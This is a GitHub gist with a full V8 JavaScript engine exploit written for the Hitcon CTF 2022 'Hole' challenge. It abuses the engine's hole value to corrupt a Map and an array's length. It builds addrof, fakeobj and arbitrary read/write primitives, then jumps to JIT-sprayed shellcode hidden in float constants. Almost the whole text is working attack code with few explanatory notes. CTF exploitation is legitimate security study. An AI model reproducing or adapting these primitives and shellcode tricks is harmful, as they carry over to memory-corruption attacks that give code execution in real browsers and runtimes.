Skip to content

Instantly share code, notes, and snippets.

@hoefler02
Created November 29, 2022 18:40
Show Gist options
  • Save hoefler02/ea896653ffa751a574aa66121eef3e70 to your computer and use it in GitHub Desktop.
Save hoefler02/ea896653ffa751a574aa66121eef3e70 to your computer and use it in GitHub Desktop.
/*
* V8 Exploitation
* Michael Hoefler
* Hitcon CTF 2022 - Hole
*/
// https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
function hex(val) {
return "0x" + val.toString(16);
}
// JIT Spraying For Later
const foo = ()=>
{
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {foo();foo();foo();foo();}
for (let i = 0; i < 0x10000; i++) {foo();foo();foo();foo();}
var map = null;
var arr = null;
function get_map(m) {
m = new Map();
m.set(1, 1);
m.set([].hole(), 1);
m.delete([].hole());
m.delete([].hole());
m.delete(1);
return m;
}
map = get_map(map);
arr = new Array(1.1, 1.1);
map.set(0x10, -1);
// Overwrite the length of arr
map.set(arr, 0xffff);
// %DebugPrint(arr);
var float_arr = new Array(1.1, 1.1);
var object_arr = new Array({}, {});
fl_map = ftoi(arr[8]) >> 32n;
obj_map = ftoi(arr[21]) >> 32n;
off = obj_map - fl_map
console.log("[+] Float Map: " + hex(fl_map));
console.log("[+] Object Map: " + hex(obj_map));
map_sec_base = fl_map - 0xd9c1n;
console.log("[+] Map Section Base : " + hex(map_sec_base));
function addrof(o) {
s = object_arr[0];
object_arr[0] = o;
arr[21] = itof((fl_map << 32n) + (ftoi(arr[21]) & 0xffffffffn));
r = ftoi(object_arr[0]);
arr[21] = itof((obj_map << 32n) + (ftoi(arr[21]) & 0xffffffffn));
object_arr[0] = s;
return r & 0xffffffffn;
}
function fakeobj(a) {
s = float_arr[0];
float_arr[0] = itof(a);
arr[8] = itof((obj_map << 32n) + (ftoi(arr[8]) & 0xffffffffn));
o = float_arr[0];
arr[8] = itof((fl_map << 32n) + (ftoi(arr[8]) & 0xffffffffn));
float_arr[0] = s;
return o;
}
var fake_arr = [itof(fl_map), 1.1, 1.2, 1.3];
var fake = fakeobj(addrof(fake_arr) + 0x20n);
function read(a) {
p = fake_arr[1];
if (a % 2n == 0) {
a += 1n;
}
fake_arr[1] = itof((8n << 32n) + (a - 8n));
l = ftoi(fake[0]);
fake_arr[1] = p;
return l;
}
function write(a, v) {
p = fake_arr[1];
if (a % 2n == 0) {
a += 1n;
}
fake_arr[1] = itof((8n << 32n) + (a - 8n));
fake[0] = itof(BigInt(v));
fake_arr[1] = p;
}
faddr = addrof(foo)
jaddr = read(faddr + 0x18n) & 0xffffffffn;
code = read(jaddr + 0xcn) + 0x73n;
console.log("[+] JIT Shellcode: " + hex(code));
f = () => 123;
f_code = read(addrof(f) + 0x18n) & 0xffffffffn;
console.log("[+] Function Code: " + hex(f_code));
write(f_code + 0xcn, code);
f();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment